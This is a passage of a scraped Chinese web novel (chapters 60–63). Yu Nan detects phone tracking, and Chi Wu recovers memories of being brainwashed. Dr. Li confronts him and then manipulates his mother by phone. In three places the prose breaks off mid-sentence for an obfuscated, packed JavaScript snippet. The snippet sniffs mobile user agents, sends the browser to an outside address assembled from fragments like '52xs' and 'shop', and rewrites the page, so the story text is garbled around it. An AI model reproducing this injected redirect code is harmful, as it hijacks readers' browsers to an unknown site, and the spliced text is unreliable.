于南看了眼手机。 他已经出来一小时了。 还有二十分钟的时间。 于南将手机放回口袋,沿着街往前走。 不一会儿。 他就到了李医生工作室对街。 于南一抬头就能看见顶楼拉着窗帘的那扇窗。他观察过,工作室里只要是有人的房间都拉着窗帘,而无人的空房间都将窗户打开条缝,窗帘也要拉开一半。 如今窗帘遮着,说明—— 李医生在上面。 于南的视线在周遭扫了扫。 没看见那辆黑色奔驰。 而手机地图上。 两个红点,此刻,一个红点在距离此处三条街的地方停着,也就是方才于南取钱的银行所在的那条街,还有一个红点就在自己面前这栋楼里。 于南将两个红点挨个点开。 查看过往路径。 对面楼里那个红点是属于奔驰车的。 那辆奔驰上的人就在楼上,或者,车上的人只是特意来送了那个被改装过的微型监测器。 而另一个红点,应当正在,监测着他的位置,跟踪他的轨迹。 于南整个人缩在房檐下的阴影里。 他冷静地想着。 是谁,在监测他。 又是用什么方式呢。 定位器? 他不可能没发现。 唯一一枚迟家放的定位器已经被他摧毁。 屏幕被寒雪覆盖大半,冷光也被分割成残缺的几部分,照在脸上时明暗交接,于南那双眸子一只被光亮钻透,一只彻底隐于黑暗。 瞳孔的黑却是一样的沉。 良久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295517|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于南才低下眼。 他看着屏幕上还在移动的两个红点。 一个在对面楼里小幅度地挪动,一个从远处往附近靠,如同极具耐心地追捕猎物的豺豹。 它在等待,在逼近。 于南倏地笑了下。 被动了手脚的,是手机。 什么时候的事呢。 倏地。 闹钟响了。 于南看了眼时间,抬手招了辆车。 三十分钟后。 于南拎着个袋子回了家。 他踏进卧室三分钟后,迟雾醒了过来。 迟雾感觉到脸上一片湿凉,他稍微扭头,就看见于南坐在身边,手里拿着张湿巾,正在替他擦脸。 湿巾带着淡淡的香味儿,好像是玫瑰香的。 迟雾庆幸这次醒来他没闻见什么消毒水味,不至于呼吸不顺地瞬间憋晕过去,那样他也就看不到于南紧接着从身后的袋子里拿出来的那一只红玫瑰。 玫瑰花用透明塑料包裹着根茎,花瓣上还有层未来得及融化的白雪。 冬季里的红玫瑰。 很美。 迟雾伸手接过红玫瑰,盯着看了良久,才想起来些什么,抬眼看着于南,说:“你刚刚出去了吗,冷不冷。” 他坐起来,把玫瑰花放到枕边,然后双手捧着于南的脸,感受着对方脸上的温度。 很凉。 迟雾在他脸边亲了亲,好像这样就能把自己的温度传递给对方,让他没那么冷。但于南身上好像还是那么凉,怎么也暖不起来。 迟雾干脆把于南抱到自己怀里,还让他靠着自己的肩头,又把被子都扯过来盖到于南的后背上,才心满意足地把胳膊一并缩进被子里。 他靠着于南的脑袋,压低声音说:“冬天好冷的,不要专门出去给我买吃的了,护工会送来的,而且我也吃不了什么,最后还是要落到你胃里。” 他的记忆又回到了医院里。 于南“嗯”了一声。 迟雾又嘟囔:“但你怎么干吃不见胖呀,太瘦了,太瘦了。” 他一连说了好几个“太瘦了”,像影碟卡带了般,不过却一声比一声低。 迟雾又开始找手机,“话说今天护工怎么来的这么晚,都天黑了我还没吃到早餐,要饿晕倒了。” 于南轻车熟路地从自己口袋里掏出手机递给他。 迟雾拿过手机看了眼,觉得手感有些不对,就将手机翻过来,看见背面一瞬就愣了下。 他摸着那上头丑陋的裂痕,说:“手机怎么坏了,什么时候坏的,怎么连手机也跟着我一起坏掉了,真糟糕。” “手机拆了些东西,过段时间就去修好它。”于南直起些身子,伸出手去将手机翻回正面,又伸手在上面摁了几下,调转出录音播放界面,他从里面翻出条音频。 播放。 是于南自己录制的童话故事。 童话故事的名字叫。 胆小鬼的胆大日记。 内容是,于南保留的,有关迟雾的记忆。 他用自己的声音讲述迟雾的过去。 迟雾就那么听着,然后昏昏沉沉地点了下脑袋,这一点,他清醒些,打了个哈气,才说:“怎么胆小鬼还没变胆大啊,这故事好长……..” “……..我有点儿困了。” 他即将陷入记忆冬眠,来躲避寒季。 迟雾这次也没听到结尾。 他又睡着了。 于南看了眼时间。 只清醒了十六分钟。 他醒着的时间越来越短了。 61.第 61 章 三天的时间如此漫长。 大部分时间都只有于南在醒着。 迟雾的睡眠不再只属于傍晚,而于南的清醒也开始侵蚀不安的每一刻,而他的神经也愈发紧绷,几乎成了不知何时会断掉的弦,摇摇欲坠。 于南通过改装的监测器追查着那两方的位置行动。 一方可以确认是迟家,或许是迟母,又或许是迟延宁,但可以确认的是,在这场戏里,李医生的存在感依旧明显,她成了梗结其中的一道锁,直到现在,都没人能判断出这把锁的钥匙究竟被她放在了谁那儿。 而另一方,通过判断,大致分为两条线,一条线的尾端还是迟家,或许这只是他们派出来加以辅助的人,而另一条线的尾端则是——温家。 因为于南通过放在温程安身上的监听器,隐隐觉出了不对劲儿的地方,病房里去探望过的,除了简凌外,便只有温琳。而温琳基本都是傍晚去,大部分时间都是说些无关紧要的话,譬如探讨番这场雪究竟要下上几天几夜,过后温度又要降到何等地步。但有次温琳醉酒,口齿不清,思绪却还极为清醒,而在他的话里,频频提到一个名字—— 迟延宁。 他对迟延宁很关注。 不像是以迟温两家名利场上亦敌亦友的角度去看,反倒更像是以一种低位者仰望的角度的赏。 他还说起小时候的迟雾。 那时的迟延宁很疼迟雾,哪怕迟家对他过度苛刻要求后,却对迟雾这个小的放宽准则,他也未曾因此产生过任何龃龉抱怨,反而尽责尽能地为迟雾打理些琐事,甚至隐隐有要在公司里为迟雾铺路的意味,但绑架一案过后,他的态度就变了。 明显变得冷漠。 据说迟雾被绑架时,迟母还怨过迟延宁。 因为迟雾就是在迟延宁眼皮子底下丢的。 温琳原本以为是迟母那些不留余力的指责伤了迟延宁的心,也彻底割裂开这两兄弟之间的情谊,后来才发现,好像不是。 温琳基本都是一个人有一搭没一搭地絮语,像个话痨无所事事后的另类释放,但其实不是。 他每一句话里都藏着很明显的暗示。 温琳在用那些不起眼的字句勾出温程安对迟雾的情绪,以及评判。 于南能猜到他要的是什么。 他或许猜到了此迟雾非彼迟雾,但也仅仅是个不大明了的猜测,所以才从温程安这儿做辅助切入点。 他需要证据。 李医生打来电话的时候,迟雾还在睡着。 李医生先简单询问了番迟雾的情况,她的语调不紧不慢,以此来故意消磨着于南的耐心,直到于南将所有状况都事无巨细地一一告知后,她才说:“现在可以过来了,进行下一场治疗。” 挂断电话,于南把迟雾从被窝里捞出来,动作很轻却迅速地为迟雾套好保暖衣物,还不放心地在卫衣里面挨着腰的位置贴了两片暖宝宝。 迟雾迷糊着感觉自己在移动。他费力地抬起格外沉重的眼皮,掀开条缝,就看见视野里的事物都在缓慢移动。 睡眠拉长,几乎一直窝在床上,迟雾觉得自己的骨头都成了软泥巴,而现在,这团泥巴不知道要将他带往何处,和梦里不断变换的景象重叠,都是这般地让他费解。 迟雾木讷地盯着那逐渐靠近的门,直到门被推开,冷风吹在脸上,他才清醒过来,与此同时也感觉到身下压着的实感。 他下意识叫了声:“……..于南。” 声音从身体下面传来。 迟雾这才反应过来。 哦,他没变成烂泥巴,是于南在背着他往外走。 是现实,不是梦。 迟雾的身上很暖和,只有脸颊被棉帽边缘处漏进来的风吹刮得有些凉。他抬手掀开帽子,任由冷风吹着脑袋,以此来保持清醒。 迟雾试着把身体撑起来,“让我下去吧,我自己走。” 于南依旧没松抓着他小腿的手。 迟雾挣脱了下。但身上的力气被无形的针管抽得一干二净,整个人都成了团无害的软棉花,自然没法如愿。 于南感觉到他的小幅度动作,出声说:“别动,掉下去就要摔成傻小孩儿了。” 听此,迟雾果然不动了。 傻小孩儿。 那岂不是要每天呆愣愣的像个冬瓜。 又笨又僵。 还不好看。 不要不要。 “不动了。”迟雾小声说,“我们去哪儿啊。” “看医生。”于南说。 “哦。” 迟雾发现只有风刚砸到头上那两秒是清醒的,之后反倒被冻得又有些转不动脑子,连原本要做的回应都忘得一干二净,那句“为什么看医生”还没来得及说出来,就被脑袋里的大片空白给压了回去,他只能张开嘴回复个简单的音节。 迟雾干脆放弃抵抗,把脑袋往于南的颈窝里贴,还不忘伸手压住于南另一侧的耳朵。 迟雾的视线四处飘,待看清地面厚雪时,愣了下,才在脑袋里组织了会儿语言,问:“我睡了很久吗,怎么都下雪了,我感觉我每次睡觉好像都过去了一个世纪一样,要不是还能看见你,我都要以为我成为新世纪最后一个木乃伊了。” 于南背着他,在雪地里小步小步地走。 “这次睡了三个半小时。” “才三个半啊,连基本睡眠的八小时都没到,怪不得我这么困。” “还很困吗。” “很困很困,但是不想睡觉了,感觉睡醒之后好累。” “……..” 到工作室的时候,李医生已经准备好了检查用具,甚至还颇有兴致地用小收音机放了首舒缓的钢琴曲。 迟雾一听见声音,就扭头看于南,说:“这个我也会弹,我哪天弹给你听吧。” 至于他是什么时候学会的弹钢琴,已经记不起来了。 他就像在不知何时被刻下了既定程序,只知道自己会,不知道为什么会。 李医生靠着墙,看着门外走进来的两人,她先是将迟雾上下打量了个遍,观察了番基本情况,才直起身子,双手插兜走向于南,但第一句就是:“看他的装扮,我还以为自己现在是在北极呢。” 迟雾后知后觉地看了眼自己身上。 确实裹得衣服太多,有点儿肿。 好像也不只是有点儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305246|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于南面对李医生的打趣无甚表情,只是平静地回:“可以开始治疗了吗。” 闻言,李医生推了下眼镜框,才笑着说:“当然可以。” 她转头看向迟雾,“迟雾,还记得我是谁吗。” 迟雾盯着她看了数秒,神情从最开始的茫然渐渐变成笃定,他说:“是李医生。” 李医生打了下响指,说:“对了,但是没有奖励。” 她引着迟雾坐到房间中央的椅子上。 但这次,她拿出来了另一个从未见过的机器。 巴掌大小,有些像缩小版电视机,但它的屏幕只占据机器表面的一小半,而另外一大半则是密密麻麻的各色按钮。 机器底端还连接着一条线,线的那头则是个类似头盔的装置。 李医生将机器插电,把头盔送到迟雾的手上。 迟雾接过后,下意识地看了于南一眼,见于南还守在门口,才接着低头看手里的头盔。 李医生却在这时扭头看向于南,说:“你先出去。” 于南看着她,没动。 李医生也就那样看着他,像是他不走就不准备进行下一步,好整以暇地陪他耗着。 舒缓的音乐在房间里流淌,气氛却因两人无声的对峙莫名显得剑拔弩张。只有椅子上那人毫无察觉地置身事外,甚至再次被困倦冲上脑袋,眼皮又要耸搭下去。 最终还是于南让步。 于南退出去后关上门,却没走远,而是始终在门口守着。但这个房间的门像是重新设计过,随着门锁落下的一声脆响,属于房间内的声音瞬间被隔绝得干净,甚至连那断断续续的音乐声都彻底消失了。 于南深吸了口气,靠着墙壁,稍微仰着头看天花板,无声的急躁充斥在身体里,却无从释放。 房间内。 李医生站在迟雾身前,叫了声:“迟雾。” 她的声音压得很低。 迟雾慢吞吞地抬起头,看了她眼,又如同走系统程度般去找寻于南的身影,让他彻底发觉于南消失了那刻,整个人肉眼可见地紧绷起来,脸上的疲态也终于没了影。 他站起身,叫:“于南。” 但左右环顾,这个再次密封的空间里只剩他和面前的李医生,再无旁人。 他找不到于南了。 找不到了。 李医生缓慢地向后退,直到腿靠到了办公桌上,她才伸手用指节敲了敲桌面,脆响将迟雾的注意力重新拉回到她身上。 她笑了下,一字一顿道:“现在让我们来深入研究一下,你恢复的那部分记忆吧。” 迟雾看向她的视线里带着警惕,这种情绪很淡,几乎察觉不出,但李医生对情绪的捕捉就像是逐浪者对海面细微波纹的把控。 她自然察觉到了。 从进门起,迟雾面对她时,就带着这种藏得很深的警惕。 拥有哪部分记忆的迟雾才会警惕她呢? 当然是那个记得如何被她替换掉记忆的迟雾。 看来,最初的那个迟雾早就回来了。 现在。 让她来看看。 记忆衔接到哪一步了。 62.第 62 章 李医生用手指不紧不慢地扣动着桌面,随着时间拉长,桌面响声的节奏渐渐与低缓的钢琴曲融合到一起,甚至隐隐成了副奏,而她的视线也随着曲调的递进缓慢地在迟雾身上移动,从上至下游走,从头到脚,迟雾那些轻微的反应都被她尽收眼底。 迟雾垂在裤沿的手指在小幅度地颤动。 慢慢的。 他的腿也在抖。 但他的视线却格外冷静。 那双眼睛紧盯着李医生敲桌子的手。 直到钢琴曲调倏地变得激昂,上扬的音符也一瞬割裂开空气中那伪装出来的平静。 迟雾的喉结很慢地滚动了下。他说:“李医生,我好像知道你是为什么死的了。” 李医生敲桌频率不变,嘴角笑容加深,镜片反射出道凌厉的银光,她开口说:“是吗,我好像也知道了。” 这三天。 她一直在对着迟雾记忆中那重塑的世界推敲,将每个人都分立出一角,在纸张上写下他们的过往曾经与如今局势。 迟雾交代地很彻底,叙述也格外详尽。 虽说是以单一的视角来将一切托出,但拿着写满记忆片段的纸张的她,是处于上帝视角的不是吗? 李医生的声音不高不低,几乎也与曲调融合到一起,她说:“我猜,是迟家那两位车祸后,迟总不再需要你这么个假弟弟,连带着也不再需要我这位附带的医生,所以,才将我这颗棋子给毁去了吧。” 她有条不紊地说:“至于那两位的车祸,我觉得有些蹊跷哦,是谁造成的呢?迟总?未必,他都等了那么久,甚至已经接手公司良久,没了理由再出手,若是忍耐不住,也该是早就放手去做了吧,那么,还有谁会记恨那两位呢?” “好像有很多人。” “但又好像,只有一位拥有如此激进的理由。” “车祸而亡的死相不大好,血肉模糊,被彻底碾压,死前很疼吧。” “迟雾,你觉得是谁?” 李医生笑着,将说出答案的权利交付给迟雾。 但迟雾只是那样盯着她。 钢琴曲走进尾声,随着最后一个音符彻响整个房间,迟雾终于开口了。 他一字一顿地说:“这次,你还会死。” 记忆融合的过程很痛苦,持续性地神经紧绷几乎搓磨掉了身体全部的忍耐力,而如海潮淹没的痛感却一刻一不停息地接着上涌。身体这座机器唯一能做的,就是用长时间的昏睡来麻痹神经、摒弃痛感,但这也让迟雾在梦中才能有机会将一段段记忆衔接,醒来后却统统忘却,只余模糊的轮廓供他摸索。 他好像也在一遍又一遍地成为别人看不见的鬼魂,冷眼旁观地重新走过那些庞大的记忆体系。 而曾经他习以为常的种种也被重塑的记忆掀翻表面那层遮拦布,前世的记忆几乎被劈斩大半,可展露开的只是层冷冰冰的铁面,他只能依靠重归的那部分、真正属于迟雾的记忆来做出把铁锤,将钢铁一点点凿击开。 刚开始是凿开个小洞。 他看见了自己和迟延宁谈判的那一幕。 刚入迟家时,他还没办法完美地扮演好“迟雾”的角色,与周遭环境都格格不入,毕竟他只是迟夫人从孤儿院里重新牵出来的一只披着人皮的狗,而不是那个从小众星捧月的天之骄子。 他做什么都是隔着层厚厚的玻璃,依照着迟母所说的,应做到的标准,来执行一切。 但显然,他不是个当展品的好料子,被供上高洁的展柜后反而开始窥探柜底垫着的腐朽的金钱。 毕竟,他从始至终想要的,都不过是那些能让他快速成为有价值者的人的东西——钱。 那时的迟延宁分明才二十岁出头,却已经见了掌权者姿态,他就那样站在楼梯上,垂着眼俯瞰着初入迟家的迟雾,用一种打量货物的眼神衡量着迟雾的价值。 他也在用那种姿态观察着整个迟家。 很奇怪。 分明当时的迟夫才是真正的一家之主,但迟雾所感受到的压迫感却尽数来源于迟延宁。 而显然。 也只有这个人,才能给迟雾想要的。 迟延宁主动找到了迟雾,或许是出于对他扮演“迟雾”角色时那份浅显拙劣的不满,又或许是完全出于对他这个人的不包容。 迟延宁给了他份文件,那上面是“迟雾”从小到大经历的明细记录,很详尽,就像是设计者对自己亲手创造的游戏角色那般了解。 他要求迟雾扮演好该扮演的角色。 “不要再出差错了,很难看。” 他当时这样说。 迟雾捏着资料,抬眼看着那逆着光的男人,两人之间距离如此之近,那时的他甚至还能清晰地闻见迟延宁身上残留的烟草味,很苦很呛的味道。 难闻。 迟延宁似乎对他盯着自己时冷漠的眼神也不大满意,直接伸手压到迟雾的脸上,用力帮他扯出抹笑,但还未达到目的,就被迟雾挥开手臂。 显然,迟延宁对他的这种反抗也不满意。 迟延宁接着开出了条件。 “做好些,我会给你应得的报酬。” 楼下传来关门声。 是迟母回来了,她在找迟雾。 而在一声声叫唤中,迟延宁再次开口,但这次,他明显收敛了全部情绪,说话时语调平稳地如同条看不见末端的线,“别让她失望了。” 之后。 合同被送到了迟雾的房间。 合约标注期限为十五年。 迟雾对钱从来没有真切的感受,对其多少更是没有定义,但他知道,合同上那串明码标价的数字,或许就是他所能达到的最大价值。 但扮演角色是一件令人异常疲惫的工作。 尤其是,迟雾对爱的定义完全是用于南作桥梁,两个小孩儿窝在角落里笨拙地琢磨出来该怎么演绎,如今却要努力地扮演一个从小到大被爱浸泡长大的鲜花。 迟雾哪怕和花有上几分联系,也只会是成为墙角枯黄的狗尾巴草,为花做陪衬。 他又该如何扮演好一支花。 一支愉悦所有人的花。 在他逐渐剥开皮肉,一寸寸更贴近地变成那支花时,他以与同学一同搭车为借口,稍微给自己寻了些喘气的机会,却在回迟家的路上发现了一支玫瑰。 那是一支风干了的玫瑰花。 就放在那条小路的正中央。 不偏不倚,刚好规避了每辆车驶过时车轮的碾压。 直到迟雾发现它。 那支玫瑰上带有特殊的焚香味,是从安丁园院长的房间偷出来的。 迟雾一瞬就猜到是谁送来的这支玫瑰。 于南。 也只有他才会送自己花。 迟雾将那支玫瑰带了回去,插进花瓶里,在玫瑰干瘪的花瓣彻底凋零时。 他被人劫持了。 歹徒,于南。 迟雾说不上自己那刻的心情如何。 他想过于南是否会找自己,但得到的结果痛痛都是否定的。 于南有什么理由找他呢。 安丁园孩子的记忆都很短暂,曾经最要好的朋友被领养后,只要一天不见面,就能彻底遗忘这个人。而他走了那么久,他甚至不知道于南是否还记得自己。 但于南却真的找到他了。 他,没忘了他,还劫持了他。 迟雾心底有一种很诡异的满足感。 扮演了太久鲜花,这一次,他竟然胆大包天地觉得,或许,当于南的影子笼罩在他身上的时候,他也是从于南骨头里钻出来的一支花。 虽然没那么鲜艳,但他会努力不要死掉。 可现实永远无法像低位者幻想那样进行下去,一切都是由上位掌控。 催眠、洗脑,他彻底被替换。 他终于长成了资料里那朵花的模样。 而上辈子。 迟雾死的时候,二十八岁,刚好是合同开始后的——第十五年。 好像,漩涡卷进去的所有人都只能在两条路中抉择,要么死亡,要么远走他乡。 不,还剩下一个,迟延宁。 他始终守在他该待的位置上。 迟家成了他一人的囊中物。 伴着的,只剩孤独。 随着钢琴曲的替换,迟雾能明显感觉到自己脑袋里那些记忆在翻涌着自行拼接,而不是让他费力地一一抓捕。 他又在记忆铁壳上敲开了个洞。 迟雾想起来,上辈子他第一次见于南不是在医院里。 而是,在他的钢琴演奏会上。 台下最不起眼的一个小角落里坐着个与周围格格不入的男人,他身上没有西装革履,没有温文尔雅,有的只是平常的装扮,和死水一般的静。 他为什么会注意到那个角落呢。 不知道。 就像是命运牵引一般,他注定要看到于南,注定要飞蛾扑火般朝他跑去。 那之后。 迟雾主动去要了于南的联系方式。 他认识了那个自学攻读心理学学位的男人。 那时候的于南还在试图帮他恢复从前的记忆。 但随着时间的流逝,被打上的另一条锁链早已根深蒂固,每一次触及将其解开的孔洞,只会让迟雾越来越痛苦。 精神层面的折磨远比肉.体凌迟还要让人痛苦,毕竟神经操控着躯壳四肢、操纵着神志意识,一旦记忆锁链不停地撞击神经,他都痛得死去活来,后来甚至再次出现了高烧失明的症状。 再之后,哪怕听见于南的声音都像是在接受一场铁面无私的拷问,让他开始恐惧。可他觉得他从来不该怕的,他想靠近,却四肢发颤。 迟雾回过头来看,那时候的他跪在于南面前,是不是痛哭流涕地格外狼狈,像一只贪心不足而被打断腿爪的犬类。 于南又是抱着什么心态将带给他的痛苦清理干净后,细致地清空他有关自己的记忆,然后将他重新放走呢,直到他癌症入院,于南才重新以另一种、更加脆弱无害的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315283|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式进入他的世界。 于南在竭尽所能地避免为他带去痛苦,甚至在他刨根问底时,对过去也是一句带过。 李医生看着迟雾那失去焦点的双眸,就知道他正在和记忆世界重建。 迟雾的腿还在抖,甚至抖得愈发厉害,最后更是直接跌砸在地上。 他跪在那儿,膝骨磕出的巨响如同悔过者在寺庙前一遍遍敲击的古钟声,沉得几乎要落入土里。 李医生扭过头,没去看迟雾的狼狈姿态,而是看向窗外的大雪纷飞。 这场雪下得够久了。 但它带着的冷远比场暴雨更让人清醒。 有些东西,早就该被冻入地下了。 对面的楼宇上还有只愚钝不知避寒的鸟儿在房檐上跳动,雪落在它的翅膀上,又被它上下窜蹦的跳动给抖掉。 李医生看着那只鸟儿。 它会死掉,还是飞走。 时间不知过了多久。 另一只鸟也落到了房檐上。 它俩颤缩着挤到一块儿去,像在一并取暖。 但不过须臾。 那只后飞来的鸟儿就用尖喙灼扎另一只鸟的翅膀。 直到鲜血横流。 血染透了雪。 受伤的鸟彻底被落雪压住。 另一只鸟站在它的尸体上,高声鸣叫。 最后。 一只死掉,一只飞走。 李医生盯着房檐上的血迹,良久,才收回视线,但她还是没去看迟雾,而是开始漫无目的地盯着天花板。 这儿的冬季实在太冷。 若是孤单一人,如何挨得住。 如果她死了,她的鸟儿是不是就要在寒冬里被其他的鸟儿啄食。 李医生轻轻地吐出口气,压着心头那涌动的暗流、克制着此刻的自己不该拥有的一切情绪。 她重新看向迟雾。 迟雾一手捂着脸,一手撑着地面,弯着脊背,但身上的颤抖却终于停住了。 李医生将收音机关掉,室内只剩她的脚步声在响。片刻后,她在迟雾身前三步远的位置站定,弯腰拿起方才砸落到地上的头盔,仔细检查了番,见并无裂痕,才蹲下身,伸手把头盔递给迟雾,说:“如果还有部分无法连接起来的,就戴上它,不过它目前功能尚且只研究出一小部分,还没办法让你彻底将每个细节都捡起来,但能让你轻松些。” 或许是被窗外血腥影响了情绪,又或许是做了某种决定,李医生连面对迟雾时,也不复先前格式化的微笑,只是声音很低很稳地交代着想说的语句。 迟雾抬起头时,眼底爬着小片红血丝,格外狰狞,但他没接那头盔,而是放下遮着脸的手,觑着李医生,语速格外缓慢地说:“李医生你要说什么。” 如果李医生不是有什么话要跟他单独说。 就不会让于南出去。 她根本不怕治疗过程被干扰,否则上次于南也留不下来。 也是这句落地。 李医生收回手,慢慢站起身子,重新恢复了高位的姿态,她垂眼看着迟雾的头顶,轻声说:“迟雾,记忆混乱的人通常拥有创造世界的能力,因为他们的记忆总是割裂开来的,但你说过的那层我死了的记忆有些过分详细了,除非你早就疯了,大脑在这段记忆里深钻了很长时间,但现在看来,你还算正常。” “所以我在想,我的药有这种让人开阔大脑,开阔到足以同时记录并容纳两个世界记忆的本事吗?” 李医生停顿数秒,才说:“好像没有。” 她在脑袋里搜索着还有谁有这种重塑记忆的本事,好像一个名字也搜刮不出来,只能作罢,但她可以肯定的是—— “迟家又给你安排了别的医生吧。” 迟雾看着她,没说话,反而放任她的猜测不断扩大。 李医生这种人,从最低点爬到如今的位置,还携带着自己需要守护的人。这种人是世界上最害怕再跌回原点的人,不为自己,而为身边的人。 李医生笑了下,像是一种猜测被证实后莫名忍不住的发笑。 她轻轻点了点头。 迟总这是已经打算拿她当废棋了。 “迟雾。”李医生陡然说:“你知道吗,迟家原本有个双生子。” 但双生子通常代表不详。 所以,其中一个,就要被献祭。 她要开始了,废棋的反击。 作为,另一层记忆里。 杀掉她的鸟儿的代价。 “而且,迟家的孩子只有那一对双生子。” 这段话的信息量太大,其暗含的意味几乎是惊涛骇浪般的存在。 迟雾看着她。 李医生却冲着他毫无负担地笑了笑,仿佛只是随口扯出来的句胡话,之后便摁下口袋里的门锁遥控器,随着锁结旋转声,门也霎时被推开。 于南冲进来后,看清局势后,便沉着脸将迟雾抱起来,低声问:“感觉怎么样。” 迟雾抱住他,轻轻摇了摇头,“我没事。” 63.第 63 章 迟雾从记忆里彻底脱身后,面对于南时,反倒有种莫名的僵硬感,整个人成了被钉住的木头。 他不知道该如何与于南接触了。 是他主动离开了安丁园,原本以为至少能将一切推向更好的方向,却偏偏弄巧成拙,如同个不知天高地厚的蠢货。最后反倒要于南主动靠近他,解救他。 好像一直以来,他都在不断往泥潭里陷,而于南始终在费尽心力地去捞他,但偏偏他还那么自以为是。 迟雾抓着于南的胳膊,直接拉着他离开了。 至于那所谓的新型仪器,到底没派上用处。 李医生拿着小头盔,走到窗边,将半遮掩的窗帘彻底拉开,她垂眼看着楼下走出来的两人。 半分钟后。 她拿起电话,打给了在等待消息的迟母。 “情况很糟糕,迟雾现在的精神状态不适合进一步的洗脑,真要硬来的话,他的大脑极度抗拒,后果可能就是——” “彻底封锁自我,成为植物人。” 李医生用波澜不惊的语气说着这话,脸上也没什么表情,仿佛只是随口一提明天的天气不大好。 迟母那头迟迟没有声响,仿佛通讯信号已经中断。 李医生却直接下了另一剂猛药。 “更糟糕些的话,可能过度怀疑世界的真实性,而为了回到现实世界的人通常会做什么决定呢?他唯一能想到的逃脱方式也就是死亡了。” “精神患者自杀不在少数。” 李医生笑着说:“我很担心他现在的状态啊。” 她靠坐在真皮座椅上,此刻的她完全脱离了克制冷静的外壳,而是就那样懒洋洋地往下窝,将穿着皮鞋的脚直接搭在了办公桌上,腿下压着的是这些日子供她推测细节的那些纸张,最上方的纸上赫然用红笔写着这样几行字。 [于南,于两年后设计车祸,致使迟家那两位死亡,意欲以此推动迟氏局势,使迟雾脱离掌控,但迟延宁早早掌控全局,计划落空,迟延宁发现其意谋,并未出手拦截,而是任其妄为,但于车祸三年后,设计其自杀。] “任其妄为”四字被圈住,并额外引出条支线,线后赘述——意图:考验。 而考验内容,并不难猜。 李医生她与迟延宁接触不少,甚至可以称得上熟稔,她第一个病人就是迟延宁,她也是以此为自己招揽来了“迟雾”这笔长期买卖。 因为迟延宁也同样,需要她的治疗,只不过是用另一个恰到好处的借口,将她直接放在自己眼前,避免了节外生枝。 不过,迟延宁更多时候都是抵抗,他在任由病情不断加深,追根溯源,他根本没想要治好。 而他的病也导致,他整个人都在理智地失控着。 李医生几乎轻而易举就推敲出,迟延宁放任于南在外,而非直接出手以权解决,不过是因为,他需要于南这步棋。 他要用他来检验。 检验迟雾是否真的成为了“迟雾”。 显然。 结局是令他十分不满的。 所以,那个没能给出他满意结局的一干人等,都被直接送往无续的死亡结局。 而迟雾对李医生说那句,这次她还会死,也是在告诉她,这次她也没法给出迟延宁满意的答复。 她要走向死亡吗。 李医生从抽屉里抽出属于迟延宁的病历单,视线在每个字眼上依次停留数秒,她听着手机那端极其紊乱的呼吸声,接着有条不紊道:“而且,那个于南的精神状态也不大好,他时常让我感到恐惧,这是个双刃剑,他放在迟雾身旁,至少可以让迟雾的状态暂且稳定些,能屏蔽一些不必要的记忆干扰,但是他却也因为我对迟雾的作为而盯上了我,他时刻警惕着,这样我很难下手。” “我觉得,或许您应该尝试着和现在这个迟雾相处,相信我,他在渴望母爱,在渴望您的关怀,真切的、对他本人的关怀,远比他现在所感受到的情感更容易让他放松神经。” 迟母哽咽了声,那头传来了轻微的声响,像是在擦眼泪,她压下不该有的狼狈,努力平稳声线说:“我该怎么做。” 李医生放下病历单,说:“尝试着消除家里那些让他痛苦的痕迹吧,比如说过去的那个‘迟雾’的一切。” 迟母霎时条件反射地喊了声:“不行!” 这尖锐的一声从手机那端传到耳朵里,瞬间引起一片嗡响耳鸣,李医生面不改色地将手机贴到另一侧耳旁,低缓着声音安抚道:“您无需害怕,从始至终,迟雾都活着,只不过是从一个躯壳过度到另一个躯壳里,您始终都拥有着一个疼爱的孩子,不是吗。” “……..是的。”迟母这声低得像喃喃自语。 李医生接着说:“所以,您还有什么顾虑呢?” 顿了顿。 李医生又补充了句:“而且您要清楚,您是更想让迟雾接手迟氏吧,那您就应该让他知道,他为什么非接手不可,他现在的情况,很难理解一些模糊的暗示,您应该有话直说。” 有些事到底只能点到为止。 再多说下去,迟母也会察觉到不对劲。 李医生叹了口气,说:“我很理解您的想法,毕竟我有时候也很担忧我妹妹,不过我没那么高大,只会想一些鸡毛蒜皮的小事儿,连梦见她瘦了都要担惊受怕好一阵儿。” 迟母松口道:“刚好学校要放假了,过几天你去学校把她接回去照顾吧,如果实在担心,就请两个保姆和家教,钱都由我来支付。” 李医生又说:“我也很想她,但是最近还要兼顾小迟总那边,可能……..” 在迟母面前,迟延宁到底只能被称作是“小迟总”。 听见这话。 迟母略微蹙眉,问道:“延宁那边?他怎么了?是他也在关注迟雾的情况吗,还是他自己出了问题?” 李医生霎时沉默了两秒,才沉声说:“是我多言了。” 迟母还欲追问。 